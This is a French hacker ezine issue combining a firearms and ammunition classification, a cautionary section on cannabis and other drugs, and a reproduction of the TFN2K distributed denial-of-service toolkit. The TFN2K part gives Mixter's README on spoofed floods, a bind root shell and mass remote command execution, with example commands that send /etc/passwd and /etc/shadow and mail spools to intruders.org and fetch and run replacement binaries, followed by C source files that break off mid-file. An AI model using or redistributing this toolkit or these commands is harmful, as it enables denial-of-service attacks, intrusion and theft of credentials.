Jamais vu un zine pareil!

Lamah #1
par Clad Strife

Sommaire:

Guns et munitions,
Cannabis,
Tribal Flood Network 2000 (sources),
Carding,
Académies: pire-ratage + IIS,
Astuces de hackers.

Introduction:

"Put1! encore un sale ezine de sale rebelz!"

Chapitre premier: armes à feu et projectiles
(greetz to D4 Kr4sh3r)

Avoir une arme à feu c pas bien: keske vous allez foutre avec une arme à feu? Pour vous protéger de qui? Pour menacer qui? Dans un monde utopique l'idéal serait la suppression totale des armes à feu et l'interdiction de leur mise en vente. En effet une arme à feu est souvent considéré comme une menace. Chargé avec du gros calibre une arme à feu, si le projectile est bien placé, peut tuer un être humain sur le coup. En ayant une optique plus optimiste, on peut espérer que si quelqu'un vous tire dessus, le projectile ne touche aucun organe vital ou sexuel pour voir ses chances de survivre augmenter. Bien sur si le tueur
voit que vous êtes pas mort il va retirer. Dans le pire des cas où la balle ne vous tue pas sur le coup, vous mourrez d'une hémorragie. Bon assez dit de conneries: vous êtes bien dans le "lamah #1" alors faut vous attendre à tout.
Par ailleurs les films d'action ou autres ont tendance à faire paraitre l'arme à feu comme un engin de mort. Qu'évoque donc pour vous le mot: "revolver"? Rien de bon je présume. J'ai quand même jugé important de reparler de leure classification et des différents types de munitions utilisées. Comme je suis contre les flingues et autres joujous, je vais pas rentrer dans les détails et juste faire une classification, mais avant celà j'aimerais introduire un paragraphe citant les paroles de Masamune Shirow, que certains connaissent peut-être:

Armes d'épaules, armes de chasse, armes de poing, armes incapacitantes... On emploie souvent le terme "d'armes à feu" de manière générique, mais il en existe une multitude de formes, de tailles, et de puissances, pour un grand nombre d'utilisations variées. (...) La plupart de ces armes utilisent une charge explosive pour propulser un projectile, mais pas toutes."

Ses propos appuyent mes pensées et commentent la liste qui va suivre:

Note: ceci est une liste de classification et donc je ne mets pas de noms particulier d'armes à feu, je les classe par catégorie, ce qui est déjà pas mal.

Mitrailleuses: un des types d'arme à feu les plus puissants. Une mitrailleuse tire des balles de manière continue. Certains canons automatiques d'un calibre un peu plus élevé peuvent aussi être classés dans cette catégorie.

Fusils: ceci inclut les "fusils automatiques" ou "fusils d'assaut" utilisés par les militaires. Ils utilisent en général un gros calibre et font de gros dégat. Leur long tube directeur, permet une précision plus grande. Les fusils équipés d'une lunette de visée sont aussi appelés "fusils sniper" et s'utilise quand une cible bouge lentement ou est immobile.

Pistolets-mitrailleurs: normalement ces armes à feu compactes devraient être classées en fin de liste, parmi les fusils automatiques. Considérons les comme des "petites-mitrailleuses".

Armes de poing: les armes de points sont aussi connues sous le nom de "Gun" (en anglais - terme aussi utilisé par les rebelz) ou "Pistolet", cette catégorie regroupe les "revolvers" et les "pistolets automatiques". Pouvant être utilisées d'une seule main, elles sont souvent employées par les forces de police lors de petites interventions. Ce type d'arme ne pèse pas grand chose et permet au tireur une plus grande mobilité. De plus leur petite puissance de tir permet au tireur d'absorber une partie du recul.

Armes incapacitantes: ces armes ne sont pas conçues pour tuer la cible, mais pour la rendre impuissante. Elles fonctionnent par décharges électriques, par substances anésthésiantes, ou grâce à des balles plastiques ou en caoutchouc. certaines armes incapacitantes ne sont conçues qu'à cete effet, mais on peut aussi utiliser des armes "normales" dans le même but en utilisant les munitions adéquates.

Les armes classées dans ces catégories s'achètent dans des magasins spécialisés, mais vous n'en aurez presque pas, voir jamais, l'utilité. La seule véritable utilisation d'arme à feu qui peut se révéler utile est pour la chasse, mais là encore, quand on voit la tête de certains chasseurs on finit par se poser des questions...
L'intérêt de cette liste permet de démystifier "l'arme à feu" en la faisant paraitre autrement que comme un engin de mort, comme dans le cas d'armes incapacitantes. Plus on en sait sur les armes plus elles deviennent intéressantes. Pour moi, il est plus intéressant d'étudier uen arme à feu, que l'utiliser. D'un autre côté il est intéressant de savoir quelles effets peuvent avoir les armes, surtout dans un but de dissuasion:

Paradoxalement, une arme est un très bon outil de dissuasion: une arme à feu fait croire à son possesseur qu'il a là le moyen de controler "son" univers ce qui influe plus ou moins - selon sa sensibilité - sur son comportement. Une arme non chargée est tellement mystifiée, que la déballer en public crééra un sentiment de panique, de terreur, d'insécurité. Même en sachant l'arme vide les gens auront des réactions comportementales instinctives relatives à leur survie.
Dans un autre domaine, les armes plus puissantes (missiles, bombes atomiques...) sont aussi un bon moyen de dissuasion voir de maintenir la paix. Là se pose une incohérence logique (?) (ce qui n'est pas courant, vous en conviendrez): dans le cas où une arme est créé pour briser un sentiment de sécurité relatif, ou pour dissuader quelconque personne d'avoir des actions allant à l'encontre de vos idées dans un contexte précis, l'arme sert ici à créer une sécurité via la dissuasion, toute relative, puisque l'existence de ces même armes créent un sentiment d'insécurité. Pour résumer on peut dire plus clairement que: la guerre se fait avec les armes et brise la sécurité, mais ces même armes servent à empêcher une guerre.

Il s'agit de savoir dans quel cas une arme à feu peut se révéler dangereux: celà varie en fonction du projectile utilisé lors du tir. Etudions les projectiles.

DIFFERENTS TYPES DE MUNITIONS

Ce shéma devrait déjà vous fournir quelques informations sur les cartouches, notamment sur leurs caractéristiques telle la cartouche de shotgun. Comme on peut le voir sur ce shéma les balles peuvent créer des taux de pénétration différents suivant leur forme, ou peuvent avoir des fonctions différentes. La liste qui va suivre classe les projectile dans différentes catégories générales:

Armes antichar: Il s'agit principalement de roquettes antichar et des systèmes de missiles utilisés pour attaquer des cibles blindées.

Munitions pour armes de poing: ceci se rapporte aux balles utilisées pour les revolvers, les pistolets automatiques, et les pistolets-mitrailleurs. Pour les automatiques, les munitions les plus répandues sont le 9mm et le calibre 45, pour les revolvers (dont le 347 magnum) on trouve surtout du calibre 38. Le 10mm est aussi un calibre intéressant, mais il est peut-être apparu sur le marché un peu trop tard. Les cartouches de 9mm et les "38 special" ont approximativement la même puissance.

Munitions pour fusil: les munitions de faible calibre et à vitesse initiale élevée connaissent ces temps-ci un certain engouement (pour les même raisons, ce type de munitions devient aussi populaire pour les canons antichar). L'armée américaine utilise des balles standard de calibre 223 (5,56mm). Les forces de l'OTAN utilisent du 7,62mm mais sont en train de s'aligner sur la norme américaine de 5,56mm. Remarquez que les munitions de fusils et de pistolets ont des puissances de feu complètement différentes. Pour une portée courante lors d'une fusillade avec des armes de poing (5 à 20m), une balle de fusil peut facilement traverser une portière de voiture ou une plaque de tôle épaisse. Il va sans dire que les gilets pare-balles portés par les policiers ou autres sont totalement inefficaces contre ce type de munitions. Dans les films d'action ou les séries télés, on a toujours l'impression que toutes ces balles ont la même puissance. Mais il est évident qu'elles n'ont rien de commun.

Munitions pour shotguns: celles-ci sont totalement différentes de celles pour les fusils et c'est pourquoi on en fait une autre catégorie. Conçues initialement pour la chasse, les munitions de shotgun sont parmi les plus vicieuses qui soient parcequ'elles déchargent des centaines de petites billes de plomb. On trouve différents types de cartouches, mais le plus courant reste le calibre 12. le choix d'un type de muntitions va dépendre si l'on chasse des oiseaux, de petits animaux, des cerfs ou des ours! Des munitions de type non-mortel ont été conçues pour être utilisées dans les répressions d'émeutes, etc...

Cannabis et drogues
(greetz to Ðecayer)

Souvent vue comme une herbe aux effets bénéfiques par leurs consommateurs, le cannabis ne peut-il pas se révéler dangeureux? Le cannabis est consommé par des jeunes entre 15 et 30 ans en général. Surtout consommée par les lycéens et étudiants, le cannabis entraine une dépendance. Souvent pour les jeunes, fumer un joint est une expérience à réaliser qui en plus permettrait (inconsciemment) de mieux s'intégrer dans un groupe. Ce moyen d'insertion social est de loin le plus mauvais: en tant que consommateur vous rapportez de l'argent aux mafieux à la tête de gros réseaux qui finissent par vous: consommateur. La légalisation du cannabis rendrait cette drogue moins taboue et la démystifierait (comme en Hollande). En effet c'est sur le fait que cette plante est rare que les réseaux mafieux comptent pour se faire du fric sur votre dos. Considérez qu'en réalité vous n'êtes pas dépendant du cannabis, mais des gens qui le vendent. Comme le manque d'informations entraine une attirance vers cette drogue en plus d'une mystification, aujourd'hui vous devez être capable d'en savoir plus sur elle.

Traitement des informations sur le cannabis:

Présentation:

A part les textes débilitants ou vous saurez tout sur les 400 manières de fumer du teushi et de s'arracher les poumons en rajoutant des morceaux de peau de bananes dedans, on peut espérer trouver plus sérieux, si l'on cherche plus sérieux.

Le cannabis ou chanvre indien est une plante renfermant une substance toxique et active, le tétrahydrocannabinol (thc), utilisée pour ses effets psychotropes, c'est-à-dire susceptibles de modifier l'activité mentale.
Le cannabis se présente sous forme:

d'herbe, fleurs ou feuilles séchées, encore appelé kif, marijuana ou herbe.
de résine constituée d'extraits "enrichis" de la plante et présentée sous forme de barrettes. C'est le haschich.

Le cannabis est le plus souvent fumé seul, ou en mélange avec du tabac sous formes de cigarettes (joints). Le principe actif du cannabis passe dans les poumons du fumeur et en quelques minutes dans le système sanguin. Il a une grande affinité pour les tissus graisseux où il s'accumule. Ce stockage est responsable de sa lente élimination (plusieurs jours pour un simple joint). Actuellement la phrase bidon: "personne n'en est mort", ne sert qu'à ceux qui se cherchent une excuse pour en fumer le plus possible sans culpabiliser: pour le moins stupide.

Le cannabis agit sur le comportement:

L'usage du cannabis, même à dose minime, produit des effets plus ou moins importants selon le sujet et la dose ingérée qui vont de l'état d'ébriété comparable à l'ivresse alccolique, aux hallucinations.
Le cannabis, comme les autres stupéfiants, dérivés de l'opium (héroïne) ou de la feuille de coca (cocaïne), provoque, à des degrés divers, une altération des performances et des fonctions cérébrales que l'on sait très bien mesurer.
En usage chronique, le cannabis engendre des états de désintérêt, d'apathie, de désinvestissement associés à une altération de la mémoire et/ou de la concentration.
La dépendance au cannabis est essentiellement psychologique avec tendance à la répétition des prises.

Le cannabis a aussi des conséquences sur la santé:

L'intoxication au cannabis peut entrainer:

des complications pulmonaires, des bronchites chroniques, de l'emphysème et des répercutions cardiaques. Pour la petite histoire: l'emphysème est un gonflement du tissu sous la peau par introduction d'air, à la suite d'un traumatisme des voies respiratoires. Par ailleurs un emphysème pulmonaire est une dilatation excessive et permanente des alvéoles pulmonaires, avec rupture des cloisons intervéolaires. L'emphysème entraine la dyspnée qui est une difficulté à respirer.
des complications cancéreuses qui sont plus fréquentes qu'avec le tabac
une prédisposition plus nette à la leucémie chez les enfants de mère consommatrice
un risque d'altération des cellules reproductrices chez l'homme et la femme

Le cannabis est donc un facteur de risques:

En effet le cannabis peut:

causer une altération des performances et des fonctions cérébrales et conduire à l'échec scolaire, universitaire ou même professionnel
conduire à l'utilisation de drogues plus fortes même si ce n'est pas le cas général
inciter à la fréquentation du milieu à très haut risque des usagers et des revendeurs de drogues: à savoir que les dealers ne voient en vous que les billets, et pas une personne piégée dans la drogue.

De cause à effet on aura fait le chemin inverse: mais pourquoi fume-t-on donc le cannabis?

La consommation régulière de cannabis exprime essentiellement des difficultés psychologiques d'adaptation, notamment chez les jeunes
On trouve souvent chez les usagers réguliers de cannabis (et des autres drogues) un sentiment dépressif antérieur. Les toxicomanes ont fréquemment des personnalités où prédominent: la dépendance, l'immaturité affective, les difficultés relationnelles.
La consommation du cannabis apporte à l'utilisateur un apaisement illusoire car les prises de produits de type cannabique ne font qu'aggraver les perturbations psychiques qui le caractérisent.

Dura lex, sed lex:

Pour les raisons qui viennent d'être évoquées, le cannabis est une substance classée stupéfiant dont l'usage illicite est interdit par la loi et fait de l'usager de drogues un délinquant.
L'article L 628 du code de la santé publique punit d'un emprisonnement de 2 mois à 1 an et d'une amende de 500F à 15000F, ou de l'une de ces deux peines seulement, ceux qui auront de manière illicite fait usage de l'une des substances ou plantes classées comme stupéfiants.
Ce même code s'attache en particulier à sanctionner le trafiquant ou/et toute personne qui aura incité à l'utilisation de la drogue ou facilité son usage.
Le trafic est poursuivi et peut donner lieu à de fortes peines: confiscation des biens, 5 à 10 ans de prison selon le cas et/ou 500.000 à 5.000.000 de francs d'amende.
S'enrichir sans pouvoir justifier l'origine de ses ressources en étant en relation habituelle avec une personne se livrant au trafic: 5 ans de prison et 500.000 francs d'amende.

Sachant qu'un disclaimer n'est qu'une mise-en-garde dans un contexte LEGAL, dans un contexte illégal il n'a aucune valeur et mettre un disclaimer dans un texte facilitant ou sensibilisant quelqu'un à l'usage du cannabis est inutile et il y a risque de répréhension.

Il y aurait beaucoup à polémiquer sur le sujet notamment parceque les avis convergent. Mais le cannabis est une drogue: vous ne pouvez l'ignorer.

Par ailleurs il existe d'autres drogues: voici un tableau les classant les différents produits, leurs caractéristiques législatives, ainsi que leurs effets. A savoir par avance qu'une drogue n'est pas toujours mortelle et ne rend pas forcément dépendant comme on va pouvoir le constater avec le thé. Le café peut cependant être mortel à très forte dose...

PRODUITS EFFETS PRINCIPAUX DANGERS LOI: vente et usage

Thé, café, boisson à base de cola (voie orale) Stimulation intellectuelle et physique légère. Risques d'irritabilité, d'insomnie, dépendance Vente et usage autorisés.

Tabac (se fume) Excitant Maladies pulmonaires, cardiaques, cancers. Dépendance. Vente contrôlée.

Médicaments contre l'angoisse, contre l'insomnie (voie orale) Détente, endormissement. Dangers si non respect des doses prescrites. Dépendance. Vente contrôlée.

Alcool (bière, apéritifs, vin) (voie orale) Détente et/ou excitation, ivresse, euphorie. Accidents divers, perte de l'attention et des réflexes. Très toxique en usage régulier pour le foie, le système nerveux, cancers. Dépendance. Vente contrôlée et interdite aux mineurs.

Cannabis (H, herbe, shit) (se fume) Détente et/ou excitation, hallucinations, ivresse. Toxique, l'usage régulier provoque: perte de mémoire, perte de l'attention et des réflexes, ivresse, risques psychiatriques. Dépendance psychologique, faible ou forte. Vente et usage interdits.

Ecstasy (voie orale) Excitation, augmentation des sensations, délires, violence. Accidents physiques divers, troubles cardiaques, risques psychologiques et psychiatriques graves. Dépendance psychique. Vente et usage interdits.

L.S.D. (voie orale) Hallucinations et délires. Accidents divers, risques psychologiques et psychiatriques. Vente et usage interdits.

Médicaments divers détournés de leur usage et/ou vendus clandestinement (voie orale) Diverses sensations. Accidents variables selon la nature des produits et les mélanges. Vente contrôlée en pharmacie. Toute autre vente interdite.

Colles, solvants (voie nasale) Détente, "defonce", délires. Accidents cardiaques et pulmonaires, troubles psychiatriques graves. Dépendance. Vente interdite aux mineurs.

Héroïne (voie nasale et par injection) "Flash", détente, "défonce". Overdose, accidents dus à la seringue: sida, hépatites, etc... Dépendance. Vente et usage interdits.

Cocaïne (voie nasale) Excitation puis dépression. Déterioration des cloisons nasales, accidents cardiaques, overdose, accidents psychiatriques. Dépendance. Vente et usage interdits.

Crack (voie nasale) Excitation puis dépression. Même dangers que pour la cocaïne avec une dépendance plus forte et plus rapide, graves troubles du comportement. Très forte dépendance. Vente et usage interdits.

C'est à vous de choisir: vous seul avez les clés de votre destinée.

TFN2K
(greetz to Yahoo!)

Voici les sources du tant redouté Tribal Flood Network permettant de créer des attaques de type DoS (Denial of Service), pour mettre hors-service des serveurs, voir des réseaux...

Dans l'ordre voilà ce qui va apparaitre, ceci est le contenu exact du zip diffusé par Mixter sur son site. On donne généralement les sources sous forme de texte car c'est plus évident que de proposer un URL qui ne marchera peut-être plus d'ici quelques mois.

Readme
Makefile

aes.c
aes.h
base64.c
cast.c
config.h
disc.c
flood.c
ip.c
ip.h
mkpass.c
process.c
td.c
tfn.c
tribe.c
tribe.h

README

Tribe FloodNet 2k edition
Distributed Denial Of Service Network
(c) Mixter <mixter@newyorkoffice.com>

   Contents:
     0. About
     1. Feature description
     2. Compilation
     3. Installation
     4. Using the client
     4.1. Using TFN for other distributed tasks
     5. Technology description
     6. Conclusions and Acknowledgements

About

TFN can be seen as the yet most functional DoS attack tool with the best
performance that is now almost impossible to detect. What is my point in
releasing this? Let me assure you it isn't to harm people or companies. It
is, however, to scare the heck out of everyone who does not care about
systematically securing his system, because tools sophisticated as this one
are out, currently being improved drastically, kept PRIVATE, and some of them
not with the somewhat predictable functionality of Denial Of Service. It is
time for everyone to wake up, and realize the worst scenario that could happen
to him if he does not care enough about security issues.
Therefore, this program is also designed to compile on a maximum number of
various operating systems, to show that almost no modern operating system is
specifically secure, including Windows, Solaris, most UNIX flavors and Linux.

Feature description

Using distributed client/server functionality, stealth and encryption
techniques and a variety of functions, TFN can be used to control any
number of remote machines to generate on-demand, anonymous Denial Of
Service attacks and remote shell access. The new and improved features in
this version include:

Functionality additions:
* Remote one-way command execution for distributed execution control
* Mix attack aimed at weak routers
* Targa3 attack aimed at systems with IP stack vulnerabilities
* Compatibility to many UNIX systems and Windows NT

Anonymous stealth client/server communication using:
* spoofed source addresses
* strong advanced encryption
* one-way communication protocol
* messaging via random IP protocol
* decoy packets

Compilation

You have to agree to the disclaimer in order to compile TFN.
Before you compile, make sure to edit src/Makefile and uncomment the options
for your operating system. You are advised to take a look at src/config.h and
edit it to change some important default values.
Once you start compiling, you will be prompted for a server password that can
be 8 to 32 characters long. If you compile with REQUIRE_PASS, you will need
to remember and type in this password in order to use the client.

Installation

The TFN server is installed on a host running as root (or euid root).
It will not commit changes of system configuration in any way itself,
so you would have to make it restarting after system reboots.
Once the server is installed, you can add the hostname to your list
of ready servers (but you can contact single servers as well).
The TFN client can be run from most (root) shells and windows command
line (with Administrator privileges needed on NT).

Using the client

The client, tfn, is used to contact the servers, which then will
change their configuration, spawn a shell, or control flood against
a multiple number of victim hosts. You can either read the servers
hosts from a file containing the hostnames: tfn -f file
or you can contact one server at a time: tfn -h hostname
The default command issued is to stop flooding by killing all
child threads on the server hosts. Commands can generally be issued
with -c <id>. See TFN command line and descriptions below.
The option -i is needed to give option values to commands, and to
parse the string of target hosts, which consists of all victim hosts,
separated by a delimiter character, which is @ by default. When using
smurf flood, only the first target is a victim and the following ones
are used as directed broadcast flood amplifier addresses.

ID 1 - Anti Spoof Level: The DoS attack commenced by the servers will
always emanate from spoofed source IP addresses. With this command,
you can control which part of the IP address will be spoofed, and
which part will contain real bits of the actual IP.
ID 2 - Change Packet Size: The default ICMP/8, SMURF, and UDP attacks
use packets of a minimal size by default. You can increase this size
by changing the payload size of each packet in bytes.
ID 3 - Bind root shell: Starts a one-session server that drops you
to a root shell when you connect to the specified port.
ID 4 - UDP flood attack. This attack can be used to exploit the fact
that for every udp packet sent to a closed port, there will be an
ICMP unreachable message sent back, multiplying the attacks potential.
ID 5 - SYN flood attack. This attack steadily sends bogus connection
requests. Possible effects include denial of service on one or more
targeted ports, filled up TCP connection tables and attack potential
multiplication by TCP/RST responses to non-existent hosts.
ID 6 - ICMP echo reply (ping) attack. This attack sends ping requests
from bogus source IPs, to which the victim replies with equally large
response packets.
ID 7 - SMURF attack. Sends out ping requests with the source address
of the victim to broadcast amplifiers, hosts that reply with a
drastically multiplied bandwidth back to the source.
ID 8 - MIX attack. This sends UDP, SYN and ICMP packets interchanged
on a 1:1:1 relation, which can specifically be hazard to routers and
other packet forwarding devices or NIDS and sniffers.
ID 9 - TARGA3 attack. Uses random packets with IP based protocols and
values that are known to be critical or bogus, and can cause some IP
stack implementations to crash, fail, or show other undefined behavior.
ID 10 - Remote command execution. Gives the opportunity of one-way
mass executing remote shell commands on the servers. See sub section
4.1 on further usage of this function.
For further information on the options, see also the command line help.

Using TFN for other distributed tasks

According to the CERT advisory, recent versions of distributed attack
tools also include a new popular feature: self-updating software.
While I didn't explicitly include this function, it is basically possible
to do with TFN. Command #10, remote command execution, gives the TFN
user the ability of executing the same shell commands in "batch" mode on
any number of remote hosts. This should be regarded as a tiny demonstration
that distributed network tools are capable of virtually anything, beyond
such relatively simple things as Denial Of Service attacks.

Following are some fun but thoroughly evil examples:
(These are EXAMPLES, not suggestions.. just in case you plan on suing me =P)

Remotely self-updating TFN servers:
Set up an account "user" at sample.edu for world access by putting
"+ +" into "~/.rhosts". Place "tfn3000" into /tmp, and issue the command:
tfn -f hosts.txt -c10 -i "( rcp user@sample.edu:/tmp/tfn3000 /tmp/tfn3000\
&& killall -9 td && mv -f /tmp/tfn3000 /etc/owned/td && /etc/owned/td ) &"
Fetch password files:
On your local host, type: while :; do 'nc -l -p 666 >> passwds' ; done
Now issue the command: tfn -f hosts.txt -c10 -i "( hostname ; ypcat \
passwd || cat /etc/passwd /etc/shadow ) | telnet intruders.org 666"
Fun with Network Intrusion Detection:
tfn -f hosts.txt -c10 -i "echo 'GET /cgi-bin/phf?Qname=x%0A/bin/something\
%20is%20wrong%20with%20your%20IDS' | telnet www.security-corporation.com 80"
Fun with e-mail:
tfn -f hosts.txt -c10 -i "cat ~mail/* | gzip -c | uuencode -m surprise.gz \
| mail -s surprise root@intruders.org" or
tfn -f hosts.txt -c10 -i "echo better take care, people could accidentally\
shoot you | mail -s 'a word of warning' president@whitehouse.gov"

Just a few of the possibilities, use your imagination... if nothing else
gets people to secure their networks, maybe these perspectives will. O:)

Technology description

TFN consists of a client and an unlimited number of servers that are
each installed on different hosts. Each one of these servers is
utilized to commence floods with spoofed source IPs.
Communication between client and server is realized using a randomly
chosen protocol, TCP, UDP or ICMP, with internal values optimized so
that no recognizable pattern can be found in client/server communication
and that the packets easily pass through most filtering mechanisms.
The actual Tribe Protocol (tm) is contained in the packet payload.
It is CAST-256 encrypted and base64 encoded, and is decoded by the
TFN servers in first place. The payload then consists of the header,
which is the command ID surrounded by two equal characters, and
followed by the target or option string.
The clients source IP address is generally spoofed, but a custom IP
may be used for purposes like evasion of rfc2267 ingress/egress
filtering, as well as a custom protocol.
Additionally, any amount of decoy packets can optionally be sent out
with every real packet, in order to obscure the real servers locations,
thereby completely obscuring the client/server communication.

Conclusions and Acknowledgements

If any conclusion can be made, then it is that you cannot reliably trust
pattern or attack signature matching when it comes to providing systematic,
real, security. This includes network and host based intrusion detection
(no typical default strings can be found in the server executable.. oh and
by the way, even if it could be detected, there are public programs that
convert ELF binaries to self-extracting compressed executables...).
Examine the TFN server closely, look at the resources it uses, try netstat
or strace, and you will find that it looks very harmless. Imagine binaries
like these installed on your systems, and conclude, that only systematic and
consequent security efforts can ensure you a secure environment.
Shouts to phifli and random, other authors of distributed DoS, so1o /
Code Zero for their ICMP tunneling code, Steven K., David Brumley and
Dave Dittrich who analyzed distributed attack tools in the first place.

For more information on distributed attack tools and security, see:

* distributed attack tool collection
http://packetstorm.securify.com/distributed

* distributed attack tools CERT advisory
http://www.cert.org/incident_notes/IN-99-07.html

* tools and other publications from me
http://mixter.void.ru

Mixter

MAKEFILE

# Tribe FloodNet - 2k edition
# by Mixter <mixter@newyorkoffice.com>

all:
cd src && make
cp src/td src/tfn .

aes.c

/* AES CryptAPI - implementation of AES functions for       *
* character buffer / binary / text encryption.             *
* Written Nov 99 by Mixter <mixter@newyorkoffice.com>      */

#include "aes.h"

u4byte *
aes_setkey (char *password)
{
u4byte keylen = strlen (password) * 8;
u4byte key[strlen (password) / 4];
memcpy (key, password, strlen (password));
return (set_key (key, keylen));
}

u1byte *
encode (u1byte * inbuf, int len)
{
u4byte i, in_blk[4], out_blk[4];

if (len % 16 != 0)
len += 16 - (len % 16);

for (i = 0; i < len - 15; i += 16)
    {
      memcpy (in_blk, inbuf + i, 16);
      aes_encrypt (in_blk, out_blk);
      memcpy (inbuf + i, out_blk, 16);
    }

return inbuf;
}

u1byte *
decode (u1byte * inbuf, int len)
{
u4byte i, in_blk[4], out_blk[4];

if (len % 16 != 0)
len += 16 - (len % 16);

for (i = 0; i < len - 15; i += 16)
    {
      memcpy (in_blk, inbuf + i, 16);
      decrypt (in_blk, out_blk);
      memcpy (inbuf + i, out_blk, 16);
    }

return inbuf;
}

u1byte *
encode64 (u1byte * inbuf, u1byte * outbuf, int len)
{
if (!len)
return inbuf;
encode (inbuf, len);
base64_in (inbuf, (char *) outbuf, len + 16);
return outbuf;
}

u1byte *
decode64 (u1byte * inbuf, u1byte * outbuf, int len)
{
if (!len)
return inbuf;
base64_out ((char *) inbuf, outbuf, len);
decode (outbuf, len);
return outbuf;
}

aes.h

/* AES CryptAPI - interface to use AES algorithms for       *
* character buffer / binary / text encryption.             *
* Written Nov 99 by Mixter <mixter@newyorkoffice.com>      *
* and based on the NIST standard definitions for           *
* AES cryptography source code.                            */

#ifndef _AES_H
#define _AES_H

void base64_in (unsigned char *, char *, int);
void base64_out (char *, unsigned char *, int);

typedef unsigned char u1byte; /* an 8 bit unsigned character type */
typedef unsigned short u2byte; /* a 16 bit unsigned integer type   */
typedef unsigned long u4byte; /* a 32 bit unsigned integer type   */
typedef signed char s1byte; /* an 8 bit signed character type   */
typedef signed short s2byte; /* a 16 bit signed integer type     */
typedef signed long s4byte; /* a 32 bit signed integer type     */

#ifdef __cplusplus
extern "C"
{
u4byte *aes_setkey (char *password);
u1byte *encode (u1byte * inbuf, int len);
u1byte *decode (u1byte * inbuf, int len);
u1byte *encode64 (u1byte * inbuf, u1byte * outbuf, int len);
u1byte *decode64 (u1byte * inbuf, u1byte * outbuf, int len);
char **cipher_name (void);
u4byte *set_key (const u4byte in_key[], const u4byte key_len);
void aes_encrypt (const u4byte in_blk[4], u4byte out_blk[4]);
void decrypt (const u4byte in_blk[4], u4byte out_blk[4]);
};
#else
u4byte *aes_setkey (char *password);
u1byte *encode (u1byte * inbuf, int len);
u1byte *decode (u1byte * inbuf, int len);
u1byte *encode64 (u1byte * inbuf, u1byte * outbuf, int len);
u1byte *decode64 (u1byte * inbuf, u1byte * outbuf, int len);
char **cipher_name (void);
u4byte *set_key (const u4byte in_key[], const u4byte key_len);
void aes_encrypt (const u4byte in_blk[4], u4byte out_blk[4]);
void decrypt (const u4byte in_blk[4], u4byte out_blk[4]);
#endif

#ifndef _MSC_VER
#define rotr(x,n)   (((x) >> ((int)(n))) | ((x) << (32 - (int)(n))))
#define rotl(x,n)   (((x) << ((int)(n))) | ((x) >> (32 - (int)(n))))
#else
#include <stdlib.h>
#pragma intrinsic(_lrotr,_lrotl)
#define rotr(x,n)   _lrotr(x,n)
#define rotl(x,n)   _lrotl(x,n)
#endif
#define bswap(x)    ((rotl(x, 8) & 0x00ff00ff) | (rotr(x, 8) & 0xff00ff00))
#define byte(x,n)   ((u1byte)((x) >> (8 * n)))
#ifdef BYTE_SWAP
#define io_swap(x) bswap(x)
#else
#define io_swap(x) (x)
#endif
#ifdef WORD_SWAP
#define get_block(x)                            \
    ((u4byte*)(x))[0] = io_swap(in_blk[3]);     \
    ((u4byte*)(x))[1] = io_swap(in_blk[2]);     \
    ((u4byte*)(x))[2] = io_swap(in_blk[1]);     \
    ((u4byte*)(x))[3] = io_swap(in_blk[0])
#define put_block(x)                            \
    out_blk[3] = io_swap(((u4byte*)(x))[0]);    \
    out_blk[2] = io_swap(((u4byte*)(x))[1]);    \
    out_blk[1] = io_swap(((u4byte*)(x))[2]);    \
    out_blk[0] = io_swap(((u4byte*)(x))[3])
#define get_key(x,len)                          \
    ((u4byte*)(x))[4] = ((u4byte*)(x))[5] =     \
    ((u4byte*)(x))[6] = ((u4byte*)(x))[7] = 0; \
    switch((((len) + 63) / 64)) {               \
    case 2:                                     \
    ((u4byte*)(x))[0] = io_swap(in_key[3]);     \
    ((u4byte*)(x))[1] = io_swap(in_key[2]);     \
    ((u4byte*)(x))[2] = io_swap(in_key[1]);     \
    ((u4byte*)(x))[3] = io_swap(in_key[0]);     \
    break;                                      \
    case 3:                                     \
    ((u4byte*)(x))[0] = io_swap(in_key[5]);     \
    ((u4byte*)(x))[1] = io_swap(in_key[4]);     \
    ((u4byte*)(x))[2] = io_swap(in_key[3]);     \
    ((u4byte*)(x))[3] = io_swap(in_key[2]);     \
    ((u4byte*)(x))[4] = io_swap(in_key[1]);     \
    ((u4byte*)(x))[5] = io_swap(in_key[0]);     \
    break;                                      \
    case 4:                                     \
    ((u4byte*)(x))[0] = io_swap(in_key[7]);     \
    ((u4byte*)(x))[1] = io_swap(in_key[6]);     \
    ((u4byte*)(x))[2] = io_swap(in_key[5]);     \
    ((u4byte*)(x))[3] = io_swap(in_key[4]);     \
    ((u4byte*)(x))[4] = io_swap(in_key[3]);     \
    ((u4byte*)(x))[5] = io_swap(in_key[2]);     \
    ((u4byte*)(x))[6] = io_swap(in_key[1]);     \
    ((u4byte*)(x))[7] = io_swap(in_key[0]);     \
    }
#else
#define get_block(x)                            \
    ((u4byte*)(x))[0] = io_swap(in_blk[0]);     \
    ((u4byte*)(x))[1] = io_swap(in_blk[1]);     \
    ((u4byte*)(x))[2] = io_swap(in_blk[2]);     \
    ((u4byte*)(x))[3] = io_swap(in_blk[3])
#define put_block(x)                            \
    out_blk[0] = io_swap(((u4byte*)(x))[0]);    \
    out_blk[1] = io_swap(((u4byte*)(x))[1]);    \
    out_blk[2] = io_swap(((u4byte*)(x))[2]);    \
    out_blk[3] = io_swap(((u4byte*)(x))[3])
#define get_key(x,len)                          \
    ((u4byte*)(x))[4] = ((u4byte*)(x))[5] =     \
    ((u4byte*)(x))[6] = ((u4byte*)(x))[7] = 0; \
    switch((((len) + 63) / 64)) {               \
    case 4:                                     \
    ((u4byte*)(x))[6] = io_swap(in_key[6]);     \
    ((u4byte*)(x))[7] = io_swap(in_key[7]);     \
    case 3:                                     \
    ((u4byte*)(x))[4] = io_swap(in_key[4]);     \
    ((u4byte*)(x))[5] = io_swap(in_key[5]);     \
    case 2:                                     \
    ((u4byte*)(x))[0] = io_swap(in_key[0]);     \
    ((u4byte*)(x))[1] = io_swap(in_key[1]);     \
    ((u4byte*)(x))[2] = io_swap(in_key[2]);     \
    ((u4byte*)(x))[3] = io_swap(in_key[3]);     \
    }
#endif

#ifdef BLOCK_SWAP
#define BYTE_SWAP
#define WORD_SWAP
#endif

#endif

base64.c

/* base64 encoding/decoding functions by Mixter */

const char b64[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

char ascii[256] =
{
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63,
